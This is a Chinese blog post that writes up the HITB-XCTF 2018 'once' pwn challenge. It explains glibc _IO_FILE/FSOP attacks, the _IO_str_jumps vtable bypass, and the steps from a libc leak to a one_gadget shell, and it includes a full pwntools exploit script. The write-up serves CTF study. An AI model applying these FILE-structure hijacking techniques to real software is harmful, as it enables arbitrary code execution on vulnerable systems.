Hexo

  • 首页

  • 归档

通过一道pwn题探究_IO_FILE结构攻击利用

发表于 2018-11-20 更新于 2019-08-15

通过一道pwn题探究_IO_FILE结构攻击利用

(原文首发自安全客)

前言

前一段时间学了IO-file的知识,发现在CTF中IO_file也是一个常考的知识点,这里我就来总结一下IO_file的知识点,顺便可以做一波笔记。首先讲一下IO_file的结构体,然后其利用的方法,最后通过一道HITB-XCTF 2018 GSEC once的题目来加深对IO_file的理解。

libc2.23 版本的IO_file利用

这是一种控制流劫持技术,攻击者可以利用程序中的漏洞覆盖file指针指向能够控制的区域,从而改写结构体中重要的数据,或者覆盖vtable来控制程序执行流。

IO_file结构体

在ctf中调用setvbuf(),stdin、stdout、stderr结构体一般位于libc数据段,其他大多数的FILE 结构体保存在堆上,其定义如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,64位程序下其偏移为0x60,链表头部用_IO_list_all指针表示。如下图所示

2

IO_file结构体外面还被一个IO_FILE_plus结构体包裹着,其定义如下

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

其中包含了一个重要的虚表*vtable,它是IO_jump_t 类型的指针,偏移是0xd8,保存了一些重要的函数指针,我们一般就是改这里的指针来控制程序执行流。其定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

利用方法(FSOP)

这是利用程序中的漏洞(如unsorted bin attack)来覆盖_IO_list_all(全局变量)来使链表指向一个我们能够控制的区域,从而改写虚表*vtable。通过调用 _IO_flush_all_lockp()函数来触发,,该函数会在下面三种情况下被调用:

1:当 libc 执行 abort 流程时。

2:当执行 exit 函数时。当执行流从 main 函数返回时

3:当执行流从 main 函数返回时

当 glibc 检测到内存错误时,会依次调用这样的函数路径:malloc_printerr ->

libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW

要让正常控制执行流,还需要伪造一些数据,我们看下代码

1
2
3
4
5
6
7
8
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)   
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

这时我们伪造 fp->_mode = 0, fp->_IO_write_ptr > fp->_IO_write_base就可以通过验证

新版本下的利用

新版本(libc2.24以上)的防御机制会检查vtable的合法性,不能再像之前那样改vatable为堆地址,但是_IO_str_jumps是一个符合条件的 vtable,改 vtable为 _IO_str_jumps即可绕过检查。其定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

其中 _IO_str_overflow 函数会调用 FILE+0xe0处的地址。这时只要我们将虚表覆盖为 _ IO_str_jumps将偏移0xe0处设置为one_gadget即可。

还有一种就是利用io_finish函数,同上面的类似, io_finish会以 _IO_buf_base处的值为参数跳转至 FILE+0xe8处的地址。执行 fclose( fp)时会调用此函数,但是大多数情况下可能不会有 fclose(fp),这时我们还是可以利用异常来调用 io_finish,异常时调用 _ IO_OVERFLOW

是根据IO_str_overflow在虚表中的偏移找到的, 我们可以设置vtable为_IO_str_jumps-0x8异常时会调用io_finish函数。

具体题目(HITB-XCTF 2018 GSEC once)

1、先简单运行一下程序,查看保护

主要开启了CANARY和NX保护,不能改写GOT表

3

4

2、ida打开,反编译

这里当输入一个不合法的选项时,就会输出puts的地址,用于泄露libc的基地址。

5

第一个函数是创建一个chunk保存数据

6

7

第二个函数和第三个函数只能执行一次,有个任意地址写漏洞,这时我们可以利用第二个函数改写off_202038+3d为_IO_list_all-0x10,然后分别执行第三和第一个函数,最后_IO_list_all就会指向0x555555757040的位置

8

9

第四个函数主要是对堆块的操作,我们可以利用利用这个函数伪造一个_IO_FILE结构

10

3、具体过程

1、泄露libc,输入一个“6”即可得到puts函数的地址,然后酸算出libc基地址

1
2
3
4
5
6
7
8
p.recvuntil('>')
p.sendline('6')
p.recvuntil('Invalid choice\n')
ioputadd=int(p.recvuntil('>',drop=True),16)
print hex(ioputadd)
libcbase=ioputadd-libc.symbols['_IO_puts']
print hex(libcbase)
one=libcbase+0x4526a

2、利用任意地址写改写_IO_list_all为堆的地址

1
2
3
4
5
6
7
8
9
10
11
12
p.sendline('1')

p.recvuntil('>')
p.sendline('2')
ioall=libcbase+libc.symbols['_IO_list_all']-0x10
print hex(ioall)
payload=p64(ioall)*4
p.sendline(payload)
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
p.sendline('1')

11

3、这时只要我们再利用第四个函数伪造__IO_FILE结构体,改写vtable为_IO_str_jumps,file+0xe0设置

为one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
p.sendline('4')
p.sendline('1')
p.recvuntil('input size:\n')
p.sendline('256')

jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps
p.recvuntil('>')
p.sendline('2')
payload='\0'*0xa8+p64(jump)+p64(one)
payload+='\0'*(0x100-len(payload))
p.sendline(payload)
p.recvuntil('>')
p.sendline('4')

12

4、输入“5”,执行exit()函数触发one_gadget

1
2
3
4
p.recvuntil('>')
p.sendline('5')

p.interactive()

13

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
#context.log_level=True
p=process('./once')
elf=ELF('once')
libc=ELF('libc6_2.23-0ubuntu10_amd64.so')
p.recvuntil('>')
p.sendline('6')
p.recvuntil('Invalid choice\n')
ioputadd=int(p.recvuntil('>',drop=True),16)
print hex(ioputadd)
libcbase=ioputadd-libc.symbols['_IO_puts']
print hex(libcbase)
one=libcbase+0x4526a

p.sendline('1')

p.recvuntil('>')
p.sendline('2')
ioall=libcbase+libc.symbols['_IO_list_all']-0x10
print hex(ioall)
payload=p64(ioall)*4


p.sendline(payload)
p.recvuntil('>')
p.sendline('3')


p.recvuntil('>')
#
p.sendline('1')
p.recvuntil('>')

p.sendline('4')
p.sendline('1')
p.recvuntil('input size:\n')
p.sendline('256')

jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps
p.recvuntil('>')
p.sendline('2')
payload='\0'*0xa8+p64(jump)+p64(one)
payload+='\0'*(0x100-len(payload))
p.sendline(payload)
#gdb.attach(p)
p.recvuntil('>')
p.sendline('4')



raw_input()

p.recvuntil('>')
p.sendline('5')

p.interactive()
2018护网杯calendar WP
浅析栈溢出遇到的两种坑及绕过技巧
  • 文章目录
  • 站点概览

GD

a GOOD pwner
14 日志
  1. 1. 通过一道pwn题探究_IO_FILE结构攻击利用
  2. 2. (原文首发自安全客)
  3. 3. 前言
  4. 4. libc2.23 版本的IO_file利用
    1. 4.1. IO_file结构体
    2. 4.2. 利用方法(FSOP)
  5. 5. 新版本下的利用
  6. 6. 具体题目(HITB-XCTF 2018 GSEC once)
    1. 6.1. 1、先简单运行一下程序,查看保护
    2. 6.2. 2、ida打开,反编译
    3. 6.3. 3、具体过程
  7. 7. 完整EXP
© 2019 GD
由 Hexo 强力驱动 v3.7.1
|
主题 – NexT.Muse v7.3.0